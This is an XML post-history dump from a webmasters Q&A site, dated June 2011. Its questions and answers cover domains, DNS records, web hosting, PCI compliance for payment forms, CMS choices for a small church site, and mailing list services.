  <row Id="38303" PostHistoryTypeId="2" PostId="16117" RevisionGUID="a6ed988b-38a4-4524-ad79-273c3942ba69" CreationDate="2011-06-28T22:43:53.127" UserId="8674" Text="I need your opinion whether buyer.com is a good and worth domain to use? Can it &quot;challenge&quot; ibuy.com for example?&#xD;&#xA;&#xD;&#xA;I am talking about the domain name as a name, not the site.&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="38304" PostHistoryTypeId="1" PostId="16117" RevisionGUID="a6ed988b-38a4-4524-ad79-273c3942ba69" CreationDate="2011-06-28T22:43:53.127" UserId="8674" Text="Is buyer.com a good and worth domain?" />
  <row Id="38305" PostHistoryTypeId="3" PostId="16117" RevisionGUID="a6ed988b-38a4-4524-ad79-273c3942ba69" CreationDate="2011-06-28T22:43:53.127" UserId="8674" Text="&lt;domains&gt;" />
  <row Id="38306" PostHistoryTypeId="10" PostId="16117" RevisionGUID="1afbc1d8-970f-433d-b567-1316d38821bb" CreationDate="2011-06-28T22:53:59.660" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38307" PostHistoryTypeId="2" PostId="16118" RevisionGUID="a296b865-f0d4-4a8a-b0b2-63d03100c6c5" CreationDate="2011-06-28T22:55:02.090" UserId="4785" Text="The entire votes control can be injected with a javascript, so it's not part of the html source on your page. In order to boost 'security' and lessen the chance of abuse by automation you could &#xD;&#xA;&#xD;&#xA; 1. activate it's 'onclick' event only if you detect mouse moves within a range of that control. &#xD;&#xA;&#xD;&#xA; 2. within the server side script check for presence of a url referrer (at least the domain)&#xD;&#xA;&#xD;&#xA; 3. you can even calculate a hash of your 'caller' javascript method and send it in a disguised form to the 'voting' control to check if the 'onclick' has indeed originated from within your own script (the hash would be different within various browsers)&#xD;&#xA;&#xD;&#xA;Etc.. But main starting point is to have the entire control injected with a javascript. This way it will also contribute to your Text/to HTML ratio on the page, as you'll have less crap within page content that a search engine sees (while it does not see the javascript)&#xD;&#xA;&#xD;&#xA;And this way there is no need in using those dumb 'captchas' and claim your visitor's precious time by having them to prove they're not a robot..." />
  <row Id="38308" PostHistoryTypeId="17" PostId="16119" RevisionGUID="ea8c1c55-13f6-4d96-a765-5736888fb67b" CreationDate="2011-06-28T22:59:01.290" UserId="-1" Comment="from http://stackoverflow.com/questions/6514027/i-need-a-webpage-to-host-my-javascript" Text="" />
  <row Id="38309" PostHistoryTypeId="17" PostId="16120" RevisionGUID="e4dace8d-0ae3-4c20-83c4-663b0e942e5c" CreationDate="2011-06-28T22:59:01.290" UserId="-1" Comment="from http://stackoverflow.com/questions/6514027/i-need-a-webpage-to-host-my-javascript" Text="" />
  <row Id="38310" PostHistoryTypeId="17" PostId="16121" RevisionGUID="fb1c9606-8f97-4a55-9775-095913d1411f" CreationDate="2011-06-28T22:59:01.290" UserId="-1" Comment="from http://stackoverflow.com/questions/6514027/i-need-a-webpage-to-host-my-javascript" Text="" />
  <row Id="38311" PostHistoryTypeId="2" PostId="16120" RevisionGUID="9e7d28c7-70fc-439b-85b4-1f453d1e2dc3" CreationDate="2011-06-28T22:57:13.013" UserDisplayName="Paul McLean" Text="Javascript is executed client side, so it doesn't matter which host you use. It matters more about what browser the user uses to view your site, but in today's modern world, I wouldn't worry about that too much." />
  <row Id="38312" PostHistoryTypeId="2" PostId="16121" RevisionGUID="aae3d30c-0666-45d6-abe5-3a5247894058" CreationDate="2011-06-28T22:57:48.130" UserDisplayName="sweaves" Text="if you are looking for free hosting try out http://www.000webhost.com/" />
  <row Id="38313" PostHistoryTypeId="2" PostId="16119" RevisionGUID="296fa508-e2d6-4d5c-88b4-0a30fc28a2f6" CreationDate="2011-06-28T22:53:59.127" UserDisplayName="Amir Reza" Text="Does anyone know a website that hosts javascripts on their page?&#xD;&#xA;&#xD;&#xA;I have a research project that needs to collect some RTT from all over the world and compare them together. I have written the javascript code for that but I do not have a high hit rate website to put it on to collect data. I know it is a little bit odd question to ask, but do you know any website or any trick that can help me?&#xD;&#xA;&#xD;&#xA;Note that the script would not do any harm to anybody! :-)&#xD;&#xA;&#xD;&#xA;Thanks, " />
  <row Id="38314" PostHistoryTypeId="1" PostId="16119" RevisionGUID="296fa508-e2d6-4d5c-88b4-0a30fc28a2f6" CreationDate="2011-06-28T22:53:59.127" UserDisplayName="Amir Reza" Text="I need a webpage to host my javascript!" />
  <row Id="38315" PostHistoryTypeId="3" PostId="16119" RevisionGUID="296fa508-e2d6-4d5c-88b4-0a30fc28a2f6" CreationDate="2011-06-28T22:53:59.127" UserDisplayName="Amir Reza" Text="&lt;javascript&gt;" />
  <row Id="38316" PostHistoryTypeId="2" PostId="16122" RevisionGUID="2147ad5f-f01c-4af5-b9a4-8ebc86410fed" CreationDate="2011-06-28T23:00:35.957" UserId="1253" Text="&gt; Based off everything you've read, is&#xD;&#xA;&gt; &quot;XML Direct&quot; the only option they&#xD;&#xA;&gt; could conceivably be using, or is&#xD;&#xA;&gt; there another method I don't know of&#xD;&#xA;&gt; which they could be implementing?&#xD;&#xA;&#xD;&#xA;There are more ways then XML Direct to use a third party for payment. An example of this is [Authorize.net's Direct Post Method][1] (DPM). DPM lets you host the payment form so you have total control of that page's look and feel. When the form is submitted it is sent directly to Authorize.Net for processing. When the transaction is complete the users is taken back to your website. You never touch the credit card information but have total control of the look and feel of the entire process.&#xD;&#xA; &#xD;&#xA;&gt; Most importantly, is it true our site&#xD;&#xA;&gt; does not need PCI certification? As I&#xD;&#xA;&gt; understand it, using the XML direct&#xD;&#xA;&gt; method means that we do have to be&#xD;&#xA;&gt; PCI/DSS certified, and the only way&#xD;&#xA;&gt; around getting certified is through a&#xD;&#xA;&gt; payment hosted page (i.e. PayPal).&#xD;&#xA;&#xD;&#xA;If you are accepting payments through your site in some way there are PCI compliance to be aware of. However, most of the tough stuff is handed off to the payment processor. You are left with fewer issues to deal with. So you're not completely absolved of PCI compliance like that developer says but most of it is taken of your hands and what is left is easier to implement.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.authorize.net/api/dpm/" />
  <row Id="38317" PostHistoryTypeId="2" PostId="16123" RevisionGUID="be587c83-f4ea-4709-8e5a-314b152b9ddc" CreationDate="2011-06-28T23:01:04.843" UserId="8675" Text="I would recommend hosting on Amazon S3 or Rackspace Cloud if you need high availability.&#xD;&#xA;&#xD;&#xA;Otherwise, you could post it on a site like Ripway. 100 MB of free hosting, though I haven't used them personally.&#xD;&#xA;http://www.ripway.com/&#xD;&#xA;&#xD;&#xA;If you're trying to pull in a common Javascript library, check to see if Google already hosts it:&#xD;&#xA;http://code.google.com/apis/libraries/&#xD;&#xA;&#xD;&#xA;Hope that helps!&#xD;&#xA;&#xD;&#xA;Rob" />
  <row Id="38318" PostHistoryTypeId="2" PostId="16124" RevisionGUID="2c677f5f-7967-4e39-989c-260188d89034" CreationDate="2011-06-28T23:03:28.447" UserId="8675" Text="Without any more details, I would say check out Google Analytics. You can set up a different tracking code for each of your affiliate websites so you can separate results on a site-by-site basis.&#xD;&#xA;&#xD;&#xA;I hope that helps!&#xD;&#xA;&#xD;&#xA;Rob" />
  <row Id="38319" PostHistoryTypeId="2" PostId="16125" RevisionGUID="8bc1df88-671e-407d-b1b3-29797cf20f2a" CreationDate="2011-06-28T23:07:21.987" UserId="8675" Text="I would recommend checking out the Sitepoint website tutorials and books, as well as http://w3schools.com, especially if you're looking to get started right away. If you have some basic HTML knowledge, you may not need to read an entire book to achieve what you're trying to do.&#xD;&#xA;&#xD;&#xA;Diving right in may be the best approach for you. You can use Firebug to look at how other sites do things. http://getfirebug.com&#xD;&#xA;&#xD;&#xA;I hope that helps!&#xD;&#xA;&#xD;&#xA;Rob" />
  <row Id="38320" PostHistoryTypeId="16" PostId="16125" RevisionGUID="a1c9f042-78e1-47d0-a268-0720ccb4dd70" CreationDate="2011-06-28T23:07:21.987" UserId="8675" />
  <row Id="38322" PostHistoryTypeId="2" PostId="16127" RevisionGUID="1b3c06eb-50c4-4b44-8590-24f552ba2b62" CreationDate="2011-06-28T23:09:37.947" UserId="8675" Text="Sounds like you need Amazon S3 or Rackspace cloud. Both have calculators to work out how much you'll be spending:&#xD;&#xA;&#xD;&#xA;Amazon&#xD;&#xA;http://calculator.s3.amazonaws.com/calc5.html&#xD;&#xA;&#xD;&#xA;Rackspace&#xD;&#xA;http://www.rackspace.com/cloud/cloud_hosting_products/servers/pricing/&#xD;&#xA;&#xD;&#xA;I hope that helps!&#xD;&#xA;&#xD;&#xA;Rob" />
  <row Id="38323" PostHistoryTypeId="2" PostId="16128" RevisionGUID="b4ce2c04-a7fc-47aa-ad67-f4d4a01ef79f" CreationDate="2011-06-29T00:03:12.733" UserId="8117" Text="I found the Head First books to be useful and fun.  The HTML with CSS book does start with HTML but the CSS integration is included almost immediately.  Here's a link to the crazy big online store that sells books: &lt;a href=&quot;http://amzn.to/ksDcRw&quot;&gt;http://amzn.to/ksDcRw&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;There's also a book on web design itself that is very useful stuff.  It's about how to design website for your end user, not how to implement a design with HTML/CSS: &lt;a href=&quot;http://amzn.to/k7bXOK&quot;&gt;http://amzn.to/k7bXOK &lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;-Bob&#xD;&#xA;" />
  <row Id="38324" PostHistoryTypeId="16" PostId="16128" RevisionGUID="f3deecc9-fa4e-4f9b-a61a-eeaf4945ec79" CreationDate="2011-06-29T00:03:12.733" UserId="8117" />
  <row Id="38326" PostHistoryTypeId="2" PostId="16129" RevisionGUID="4d8ddde3-c71a-455a-a62c-04be51727bf3" CreationDate="2011-06-29T00:14:54.413" UserId="4451" Text="Where on earth is the Verification link in Google Apps?  Every time it seems like they change where it is.  When I initially log into my account, I can't verify it because I have to change the nameservers first and then verify.  The link was there before, now I can't find it.  Don't tell me its at the top on the Dashboard, b/c it's not." />
  <row Id="38327" PostHistoryTypeId="1" PostId="16129" RevisionGUID="4d8ddde3-c71a-455a-a62c-04be51727bf3" CreationDate="2011-06-29T00:14:54.413" UserId="4451" Text="Where is the Google Apps Domain Verification link?" />
  <row Id="38328" PostHistoryTypeId="3" PostId="16129" RevisionGUID="4d8ddde3-c71a-455a-a62c-04be51727bf3" CreationDate="2011-06-29T00:14:54.413" UserId="4451" Text="&lt;google-apps&gt;" />
  <row Id="38329" PostHistoryTypeId="5" PostId="16119" RevisionGUID="165cf208-9c7b-489a-85d0-8805f24b9d38" CreationDate="2011-06-29T00:15:07.297" UserId="1253" Comment="appended answer 16126 as supplemental" Text="Does anyone know a website that hosts javascripts on their page?&#xD;&#xA;&#xD;&#xA;I have a research project that needs to collect some RTT from all over the world and compare them together. I have written the javascript code for that but I do not have a high hit rate website to put it on to collect data. I know it is a little bit odd question to ask, but do you know any website or any trick that can help me?&#xD;&#xA;&#xD;&#xA;Note that the script would not do any harm to anybody! :-)&#xD;&#xA;&#xD;&#xA;Thanks, &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Decad is right, I basically need some people to put my script on their &quot;high-hit rate&quot; website ... so I can collect data from large number of clients...&#xD;&#xA;&#xD;&#xA;Of coarse, the script is run on the background with no harm to the page. It basically measures some RTT and submit it to a server.&#xD;&#xA;&#xD;&#xA;I already have some pages, but they barely got a hit from outside!&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="38331" PostHistoryTypeId="25" PostId="16116" RevisionGUID="f81e3110-b250-4bfa-a2f5-a44c77211ba1" CreationDate="2011-06-29T00:26:03.663" Comment="http://twitter.com/#!/StackWebmasters/status/85866581095235584" />
  <row Id="38332" PostHistoryTypeId="2" PostId="16130" RevisionGUID="8f375d42-22f3-4b4c-9158-68504b70a1d1" CreationDate="2011-06-29T01:01:32.577" UserId="42" Text="I've been asked to create a website for a small church.  Their prior site was hosted on geocities which is no longer.  They are not looking for anything robust, just an informational site with a calendar and maybe a contact form.  The church would also like to be able to administer the site with little technical know-how. Cost is also an issue.&#xD;&#xA;&#xD;&#xA;Given these requirements, something like sites.google.com seems like a good option. However, my main concern is that Sites will suffer the same fate as geocities.  It is definitely not a flagship Google product.  Are there other good alternatives that fit the requirements?" />
  <row Id="38333" PostHistoryTypeId="1" PostId="16130" RevisionGUID="8f375d42-22f3-4b4c-9158-68504b70a1d1" CreationDate="2011-06-29T01:01:32.577" UserId="42" Text="Best Option for Creating A Small Church Website" />
  <row Id="38334" PostHistoryTypeId="3" PostId="16130" RevisionGUID="8f375d42-22f3-4b4c-9158-68504b70a1d1" CreationDate="2011-06-29T01:01:32.577" UserId="42" Text="&lt;web-hosting&gt;&lt;website-design&gt;" />
  <row Id="38335" PostHistoryTypeId="2" PostId="16131" RevisionGUID="b91aaebb-d921-4955-9a58-3170e792db78" CreationDate="2011-06-29T01:04:41.353" UserId="5041" Text="You can try [SearchBlox][1] which is free to download and install. There is also a cloud hosted version. It compares very well to Google Mini.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchblox.com/" />
  <row Id="38336" PostHistoryTypeId="2" PostId="16132" RevisionGUID="ef7086c8-0d78-4f8f-9926-961778037869" CreationDate="2011-06-29T01:35:25.650" UserId="1253" Text="[WordPress][1] is very easy to use as a CMS. It provide a GUI that allows them to create new pages and content with little knowledge of how the Web works required. You could then get a cheap hosting plan from a reliable web hosting provider like [Hostgator][2] for as little as $4 a month. WordPress is very active and I believe open source so you don' have to worry about it disappearing on you. Hostgator is one of the largest webhosts in the world so the odds of them disappearing anytime soon is very small.&#xD;&#xA;&#xD;&#xA;Or you could go with Wordpress' hosted solution and cut out the hosting provider altogether. It's [free for the basic package][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://www.hostgator.com/shared.shtml&#xD;&#xA;  [3]: http://en.wordpress.com/features/" />
  <row Id="38337" PostHistoryTypeId="2" PostId="16133" RevisionGUID="aae3dfab-646b-40f0-9297-10e380ce4ecc" CreationDate="2011-06-29T01:48:58.353" UserId="7363" Text="Unless the page they are entering their CC info on is on a different domain (IE paypal redirect) I would always worry about PCI.&#xD;&#xA;&#xD;&#xA;Now, this does not mean you need to meet the PCI level 1 requirements (IE read only database of every transaction kind of stuff), but it does mean you should follow the requirements for level 4.  See the [Visa requirements][1] as they are the most strict I believe.&#xD;&#xA;&#xD;&#xA;This [FAQ][2] should also help out so you are better informed.&#xD;&#xA;&#xD;&#xA;Level 4 is not a significant cost barrier, so I would always suggest to do that.  The majority of the scanning vendors basically just run your IP against a tool like Nessus, but it still helps to CYA in case you get hacked or compromised.&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://usa.visa.com/merchants/risk_management/cisp_merchants.html&#xD;&#xA;  [2]: http://www.pcicomplianceguide.org/pcifaqs.php" />
  <row Id="38338" PostHistoryTypeId="2" PostId="16134" RevisionGUID="fddfe852-c661-43fa-a9ca-2773f2081f13" CreationDate="2011-06-29T03:10:53.610" UserId="1585" Text="I know i could program it myself but maybe there is a simple (thats the keyword) package.&#xD;&#xA;&#xD;&#xA;I like to add a box, snippet, form or page to my site for users to input their email address. Then i'd like it to automatically send email saying you have successfully subscribe. I'd want an unsubscribe link and i would be using smtp on google apps.&#xD;&#xA;&#xD;&#xA;I would like to send email with html so i can have a [simple sentence with a complex link such as this](http://www.google.com/support/analytics/bin/answer.py?answer=55578)&#xD;&#xA;&#xD;&#xA;I dont know if i'll get marked as spam if i try to send everyone an email at once? so i'd like the software to manage it. Also i'd like to get the emails in a simple format like csv.&#xD;&#xA;&#xD;&#xA;Is there a simple app that does this? if not i can write a simple form which does a simple insert (or delete when unsubscribing) and write a 200-300line app to send my emails out for me." />
  <row Id="38339" PostHistoryTypeId="1" PostId="16134" RevisionGUID="fddfe852-c661-43fa-a9ca-2773f2081f13" CreationDate="2011-06-29T03:10:53.610" UserId="1585" Text="How do i make/setup a mailing list?" />
  <row Id="38340" PostHistoryTypeId="3" PostId="16134" RevisionGUID="fddfe852-c661-43fa-a9ca-2773f2081f13" CreationDate="2011-06-29T03:10:53.610" UserId="1585" Text="&lt;bulk-email&gt;&lt;mailing-list&gt;" />
  <row Id="38341" PostHistoryTypeId="2" PostId="16135" RevisionGUID="38e3d0d9-629d-4301-b830-b9da14ca45ad" CreationDate="2011-06-29T03:12:20.770" UserId="4502" Text="Get to the administration area. The URL should look something like https://www.google.com/a/cpanel/example.com/Dashboard where example.com is your domain.&#xD;&#xA;&#xD;&#xA;Click the tab labeled &quot;Setup&quot; in the group along the top of the dashboard (&lt;b&gt;yes&lt;/b&gt;).  &#xD;&#xA;The resulting screen will have a bunch of vertical tabs at left.  &#xD;&#xA;If it's not expanded already, activate the &quot;Welcome&quot; tab.  &#xD;&#xA;Under it is a &quot;Verify domain ownership&quot; item.  " />
  <row Id="38342" PostHistoryTypeId="25" PostId="16129" RevisionGUID="b0059b89-0e32-407a-9227-017c65b5fe0d" CreationDate="2011-06-29T03:26:03.530" Comment="http://twitter.com/#!/StackWebmasters/status/85911879905587200" />
  <row Id="38343" PostHistoryTypeId="2" PostId="16136" RevisionGUID="6a9e6a6d-8032-41a3-822f-2dad534badf7" CreationDate="2011-06-29T03:34:24.903" UserId="8679" Text="A site I administer recently rebranded under a new domain name. I updated the DNS to forward the old to the new, but reverse IP lookups are still resolving to the old domain. I don't see anywhere in my DNS settings where this could be a problem. Will this take longer than a regular DNS update or is there something else I can do to fix this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="38344" PostHistoryTypeId="1" PostId="16136" RevisionGUID="6a9e6a6d-8032-41a3-822f-2dad534badf7" CreationDate="2011-06-29T03:34:24.903" UserId="8679" Text="Reverse IP lookup resolves to old domain" />
  <row Id="38345" PostHistoryTypeId="3" PostId="16136" RevisionGUID="6a9e6a6d-8032-41a3-822f-2dad534badf7" CreationDate="2011-06-29T03:34:24.903" UserId="8679" Text="&lt;dns&gt;" />
  <row Id="38347" PostHistoryTypeId="5" PostId="16127" RevisionGUID="e9e53dd1-6808-40ff-8052-c7663020e145" CreationDate="2011-06-29T04:08:00.780" UserId="8675" Comment="Removed signature" Text="Sounds like you need Amazon S3 or Rackspace cloud. Both have calculators to work out how much you'll be spending:&#xD;&#xA;&#xD;&#xA;Amazon&#xD;&#xA;http://calculator.s3.amazonaws.com/calc5.html&#xD;&#xA;&#xD;&#xA;Rackspace&#xD;&#xA;http://www.rackspace.com/cloud/cloud_hosting_products/servers/pricing/&#xD;&#xA;&#xD;&#xA;I hope that helps!" />
  <row Id="38348" PostHistoryTypeId="5" PostId="16123" RevisionGUID="aff62af2-8f4a-4803-be34-fba611893f28" CreationDate="2011-06-29T04:08:22.963" UserId="8675" Comment="Removed signature" Text="I would recommend hosting on Amazon S3 or Rackspace Cloud if you need high availability.&#xD;&#xA;&#xD;&#xA;Otherwise, you could post it on a site like Ripway. 100 MB of free hosting, though I haven't used them personally.&#xD;&#xA;http://www.ripway.com/&#xD;&#xA;&#xD;&#xA;If you're trying to pull in a common Javascript library, check to see if Google already hosts it:&#xD;&#xA;http://code.google.com/apis/libraries/&#xD;&#xA;&#xD;&#xA;Hope that helps!" />
  <row Id="38349" PostHistoryTypeId="5" PostId="16125" RevisionGUID="dda46b5a-dddf-4548-9943-703ba45e6420" CreationDate="2011-06-29T04:08:40.920" UserId="8675" Comment="Removed signature" Text="I would recommend checking out the Sitepoint website tutorials and books, as well as http://w3schools.com, especially if you're looking to get started right away. If you have some basic HTML knowledge, you may not need to read an entire book to achieve what you're trying to do.&#xD;&#xA;&#xD;&#xA;Diving right in may be the best approach for you. You can use Firebug to look at how other sites do things. http://getfirebug.com&#xD;&#xA;&#xD;&#xA;I hope that helps!" />
  <row Id="38350" PostHistoryTypeId="5" PostId="16124" RevisionGUID="67f2f263-1fc3-4147-9cee-62bd3a544d47" CreationDate="2011-06-29T04:09:01.153" UserId="8675" Comment="Removed signature" Text="Without any more details, I would say check out Google Analytics. You can set up a different tracking code for each of your affiliate websites so you can separate results on a site-by-site basis.&#xD;&#xA;&#xD;&#xA;I hope that helps!" />
  <row Id="38351" PostHistoryTypeId="17" PostId="16137" RevisionGUID="e9b507f3-37bf-48bd-b959-41cd478688c2" CreationDate="2011-06-29T04:16:06.520" UserId="-1" Comment="from http://superuser.com/questions/303686/dns-mx-and-ns-entries" Text="" />
  <row Id="38352" PostHistoryTypeId="17" PostId="16138" RevisionGUID="8531a562-701b-4722-9fdf-14980d396f0a" CreationDate="2011-06-29T04:16:06.520" UserId="-1" Comment="from http://superuser.com/questions/303686/dns-mx-and-ns-entries" Text="" />
  <row Id="38353" PostHistoryTypeId="17" PostId="16139" RevisionGUID="06b0803f-3ea5-4a62-bb12-93ec2e32fe4f" CreationDate="2011-06-29T04:16:06.520" UserId="-1" Comment="from http://superuser.com/questions/303686/dns-mx-and-ns-entries" Text="" />
  <row Id="38354" PostHistoryTypeId="2" PostId="16138" RevisionGUID="a5d96508-afeb-4ddb-a36c-4ebd21bafcaf" CreationDate="2011-06-29T03:09:15.063" UserDisplayName="Randolf Richardson" Text="Yes, but you MUST keep the MX records the same (and any other DNS records that Google requires).&#xD;&#xA;&#xD;&#xA;Since you're specifying DreamHost.com DNS servers, you'll need to get the &quot;Zone Administrator&quot; (the name of the role for the person or people responsible for DNS server/zone management) at Dream Host to add the needed MX (and other) records to your zone (a &quot;zone&quot; is basically the technical term for your internet domain name for the purposes of what you currently need).&#xD;&#xA;&#xD;&#xA;If Dream Host provides a &quot;self serve DNS management interface&quot; for you, then you can update the zone records on your own.&#xD;&#xA;&#xD;&#xA;P.S.:  Domain name registration is essentially transparent -- you can use whichever Registrar you please, as long as you have the correct DNS servers listed (minimum 2, maximum 13).&#xD;&#xA;" />
  <row Id="38355" PostHistoryTypeId="2" PostId="16139" RevisionGUID="dc4e03ad-d7d5-4615-995b-1fd9df46d8ba" CreationDate="2011-06-29T03:37:37.103" UserDisplayName="KCotreau" Text="I would not change your DNS servers to Dreamhost...Your DNS in Google is all you need, and it is relatively easy to use.&#xD;&#xA;&#xD;&#xA;Just add an A (host) record for www that points to the proper IP address (It may give you an error saying you need to delete the www CNAME record...you can do that and re-add the www A record). See the top areas of the screenshot.&#xD;&#xA;&#xD;&#xA;Very simple.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YaL6N.gif" />
  <row Id="38356" PostHistoryTypeId="2" PostId="16137" RevisionGUID="02f853a7-17d8-413f-9f2f-8d9ae0936f23" CreationDate="2011-06-29T02:49:34.123" UserDisplayName="unkown" Text="I was wondering about my domain and if next is afordable.&#xD;&#xA;&#xD;&#xA;First of all this is my &quot;architecture&quot;:&#xD;&#xA;&#xD;&#xA;- Domain registration at GoDaddy.com &#xD;&#xA;- Hosting at Dreamhost &#xD;&#xA;- mail at google apps&#xD;&#xA;&#xD;&#xA;Until now I setted up the google apps MX entries in my domain through the GoDaddy manager, but now what I want is to set up the hosting I have hired from Dreamhost.&#xD;&#xA;&#xD;&#xA;I understand that all I have to do is to setup next Dreamhost NS entries into the GoDaddy domain manager:&#xD;&#xA;&#xD;&#xA;    NS1.Dreamhost.COM. 66.33.206.206 NS2.Dreamhost.COM. 208.96.10.221 NS3.Dreamhost.COM. 66.33.216.216&#xD;&#xA;&#xD;&#xA;My question is, will my mail keep working right as soon as the MX entries I already setup into the GoDaddy are the Google Apps ones?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38357" PostHistoryTypeId="1" PostId="16137" RevisionGUID="02f853a7-17d8-413f-9f2f-8d9ae0936f23" CreationDate="2011-06-29T02:49:34.123" UserDisplayName="unkown" Text="DNS MX and NS entries" />
  <row Id="38358" PostHistoryTypeId="3" PostId="16137" RevisionGUID="02f853a7-17d8-413f-9f2f-8d9ae0936f23" CreationDate="2011-06-29T02:49:34.123" UserDisplayName="unkown" Text="&lt;dns&gt;" />
  <row Id="38359" PostHistoryTypeId="17" PostId="16140" RevisionGUID="002f85f7-73d6-463a-b3c7-c884f8876084" CreationDate="2011-06-29T04:34:23.067" UserId="-1" Comment="from http://stackoverflow.com/questions/6496471/how-to-make-users-arrive-at-site-through-the-home-page" Text="" />
  <row Id="38360" PostHistoryTypeId="2" PostId="16140" RevisionGUID="08a320f8-29d3-4ced-bab1-9f19d089f3c5" CreationDate="2011-06-27T17:18:07.510" UserDisplayName="Nick Frost" Text="&#xD;&#xA;A client has requested that all site visitors arrive to internal pages via the home page. At present a lot of visitors are hitting internal pages directly from google search results. Are there any techniques for channeling users ?&#xD;&#xA;&#xD;&#xA;Apologies if this is a stupid question." />
  <row Id="38361" PostHistoryTypeId="1" PostId="16140" RevisionGUID="08a320f8-29d3-4ced-bab1-9f19d089f3c5" CreationDate="2011-06-27T17:18:07.510" UserDisplayName="Nick Frost" Text="How to make users arrive at site through the home page" />
  <row Id="38362" PostHistoryTypeId="3" PostId="16140" RevisionGUID="08a320f8-29d3-4ced-bab1-9f19d089f3c5" CreationDate="2011-06-27T17:18:07.510" UserDisplayName="Nick Frost" Text="&lt;users&gt;&lt;page&gt;" />
  <row Id="38368" PostHistoryTypeId="25" PostId="16137" RevisionGUID="3ed63800-72fb-4471-b41c-9db3e2f4f199" CreationDate="2011-06-29T06:26:03.997" Comment="http://twitter.com/#!/StackWebmasters/status/85957179919708161" />
  <row Id="38370" PostHistoryTypeId="2" PostId="16142" RevisionGUID="12f6c38f-ab3b-4e6a-ae54-460f9731685c" CreationDate="2011-06-29T06:51:10.560" UserId="8530" Text="WordPress is best option for small to medium business.&#xD;&#xA;Can easy installed by hosting provider hostrivers.com etc &#xD;&#xA;&#xD;&#xA;In other hand Joomla is fantastic option for a website that requires multiple user privileges or custom database work..&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38371" PostHistoryTypeId="2" PostId="16143" RevisionGUID="95e500ab-7c7b-4773-bbef-fb877c9c2dcd" CreationDate="2011-06-29T07:02:40.130" UserId="7198" Text="Redirecting visitors to the homepage when they've requested a subpage is generally a bad idea because:&#xD;&#xA;&#xD;&#xA; - Search engines will cease to index subpage content, resulting in big traffic drops.&#xD;&#xA; - Users will struggle to find the information that brought them to the site in the first place.&#xD;&#xA;&#xD;&#xA;However, if there's a very good reason to do so (and I can think of few), there are a couple of ways to redirect visitors to the homepage if they hit a subpage:&#xD;&#xA;&#xD;&#xA; - Check for the existence of a cookie that's only set if they've visited the homepage.&#xD;&#xA; - Check that the HTTP referrer belongs to the same domain.&#xD;&#xA;&#xD;&#xA;Note that neither of these methods are foolproof, as both cookies and referrer information can be spoofed, but they will probably suffice for basic use.&#xD;&#xA;&#xD;&#xA;**A better alternative** to the redirection system your client has asked for might be to detect that it's the first time a visitor's been to the site (with cookies), then show them a welcome message -- either inline with the HTML or as a subtle animated overlay -- prompting them to visit the homepage or read an FAQ to learn more, a bit like sites on the Stack Exchange network do. (Click for large view):&#xD;&#xA;&#xD;&#xA;[![Stack Exchange welcome box][1]](http://i.stack.imgur.com/MLMtA.jpg)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/MLMtA.jpg" />
  <row Id="38372" PostHistoryTypeId="2" PostId="16144" RevisionGUID="c3ff6e97-e549-413f-80af-cdae461f067c" CreationDate="2011-06-29T07:30:09.077" UserId="7198" Text="Create one website at `http://yoursite.com/` and serve the same template with different content based on the city they choose.&#xD;&#xA;&#xD;&#xA;The homepage could welcome visitors and prompt them to choose a city or attempt to discover it automatically with the HTML5 [geolocation API](http://diveintohtml5.org/geolocation.html), then redirect them to `http://yoursite.com/city` Have a look at how other location-based services like [Gowalla](http://gowalla.com/) and [Foursquare](https://foursquare.com/) handle the user experience for first-timers.&#xD;&#xA;&#xD;&#xA;Once the visitor's chosen their city, you'd load the city info into your template, changing the header, background, and city data as necessary.&#xD;&#xA;&#xD;&#xA;This makes much more sense to me than attempting to manage a growing number of almost identical websites spread across multiple subdirectories with duplicate templates and stylesheets. Managing multiple sites as the number of cities you offer grows would be a pain. The whole point of a dynamic website is that it reduces your maintenance overhead by feeding dynamic data into one template, so take advantage of this.&#xD;&#xA;&#xD;&#xA;Regarding duplicate content and search engines, simply make your content as unique as possible for each city, which shouldn't be hard for a city transport guide -- few cities offer identical services at identical times. You won't be penalised for using one template if the content itself is different." />
  <row Id="38373" PostHistoryTypeId="2" PostId="16145" RevisionGUID="20a00bff-5bf4-4e8d-b302-fd613c71352e" CreationDate="2011-06-29T07:41:47.600" UserId="7198" Text="Use an existing newsletter service such as [MailChimp.](http://mailchimp.com)&#xD;&#xA;&#xD;&#xA;Not only is it free for up to 2,000 subscribers (and 12,000 messages a month), but they offer [sign up forms](http://blog.mailchimp.com/customizing-email-signup-forms-in-mailchimp/), [click tracking](http://kb.mailchimp.com/article/how-do-i-track-clicks-and-opens/), [autoresponders](http://kb.mailchimp.com/article/how-do-i-create-an-autoresponder), [unsubscribe links](http://kb.mailchimp.com/article/how-do-i-place-my-unsub-unsubscribe-tag-in-my-html-version), increased chance of delivery over hacked-together DIY solutions, and much more.&#xD;&#xA;&#xD;&#xA;There's little reason to create your own email newsletter solution when someone's already solved the hard problems for you; you could write and run your campaigns straight away instead.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38375" PostHistoryTypeId="2" PostId="16147" RevisionGUID="32af4c5d-7864-4cf5-97dc-b0042d7b0766" CreationDate="2011-06-29T09:11:38.490" UserId="2490" Text="Weebly is a good option. Easy to use." />
